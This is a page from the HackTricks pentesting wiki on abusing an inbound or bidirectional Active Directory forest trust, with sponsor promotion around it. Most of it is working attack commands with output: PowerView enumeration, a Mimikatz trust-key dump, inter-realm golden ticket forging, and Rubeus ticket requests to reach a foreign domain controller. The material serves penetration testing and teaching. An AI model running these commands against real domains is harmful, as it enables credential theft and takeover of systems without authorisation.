151 lines
7.6 KiB
Markdown
151 lines
7.6 KiB
Markdown
# External Forest Domain - OneWay (Inbound) or bidirectional
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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In this scenario an external domain is trusting you (or both are trusting each other), so you can get some kind of access over it.
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## Enumeration
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First of all, you need to **enumerate** the **trust**:
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```powershell
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Get-DomainTrust
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SourceName : a.domain.local --> Current domain
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TargetName : domain.external --> Destination domain
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TrustType : WINDOWS-ACTIVE_DIRECTORY
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TrustAttributes :
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TrustDirection : Inbound --> Inboud trust
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WhenCreated : 2/19/2021 10:50:56 PM
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WhenChanged : 2/19/2021 10:50:56 PM
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# Get name of DC of the other domain
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Get-DomainComputer -Domain domain.external -Properties DNSHostName
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dnshostname
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-----------
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dc.domain.external
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# Groups that contain users outside of its domain and return its members
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Get-DomainForeignGroupMember -Domain domain.external
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GroupDomain : domain.external
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GroupName : Administrators
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GroupDistinguishedName : CN=Administrators,CN=Builtin,DC=domain,DC=external
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MemberDomain : domain.external
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MemberName : S-1-5-21-3263068140-2042698922-2891547269-1133
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MemberDistinguishedName : CN=S-1-5-21-3263068140-2042698922-2891547269-1133,CN=ForeignSecurityPrincipals,DC=domain,
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DC=external
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# Get name of the principal in the current domain member of the cross-domain group
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ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1133
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DEV\External Admins
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# Get members of the cros-domain group
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Get-DomainGroupMember -Identity "External Admins" | select MemberName
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MemberName
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----------
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crossuser
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# Lets list groups members
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## Check how the "External Admins" is part of the Administrators group in that DC
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Get-NetLocalGroupMember -ComputerName dc.domain.external
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ComputerName : dc.domain.external
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GroupName : Administrators
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MemberName : SUB\External Admins
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SID : S-1-5-21-3263068140-2042698922-2891547269-1133
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IsGroup : True
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IsDomain : True
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# You may also enumerate where foreign groups and/or users have been assigned
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# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.
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```
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In the previous enumeration it was found that the user **`crossuser`** is inside the **`External Admins`** group who has **Admin access** inside the **DC of the external domain**.
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## Initial Access
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If you **couldn't** find any **special** access of your user in the other domain, you can still go back to the AD Methodology and try to **privesc from an unprivileged user** (things like kerberoasting for example):
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You can use **Powerview functions** to **enumerate** the **other domain** using the `-Domain` param like in:
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```powershell
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Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
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```
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{% content-ref url="./" %}
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[.](./)
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{% endcontent-ref %}
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## Impersonation
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### Logging in
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Using a regular method with the credentials of the users who is has access to the external domain you should be able to access:
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```powershell
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Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator
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```
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### SID History Abuse
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You could also abuse [**SID History**](sid-history-injection.md) across a forest trust.
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If a user is migrated **from one forest to another** and **SID Filtering is not enabled**, it becomes possible to **add a SID from the other forest**, and this **SID** will be **added** to the **user's token** when authenticating **across the trust**.
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{% hint style="warning" %}
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As a reminder, you can get the signing key with
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```powershell
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Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local
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```
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{% endhint %}
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You could **sign with** the **trusted** key a **TGT impersonating** the user of the current domain.
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```bash
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# Get a TGT for the cross-domain privileged user to the other domain
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Invoke-Mimikatz -Command '"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'
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# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
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## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
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Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:C:\path\save\ticket.kirbi /nowrap
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# Now you have a TGS to access the CIFS service of the domain controller
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```
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### Full way impersonating the user
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```bash
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# Get a TGT of the user with cross-domain permissions
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Rubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap
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# Get a TGT from the current domain for the target domain for the user
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Rubeus.exe asktgs /service:krbtgt/domain.external /domain:sub.domain.local /dc:dc.sub.domain.local /ticket:doIFdD[...snip...]MuSU8= /nowrap
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# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
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## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
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Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:doIFMT[...snip...]5BTA== /nowrap
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# Now you have a TGS to access the CIFS service of the domain controller
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```
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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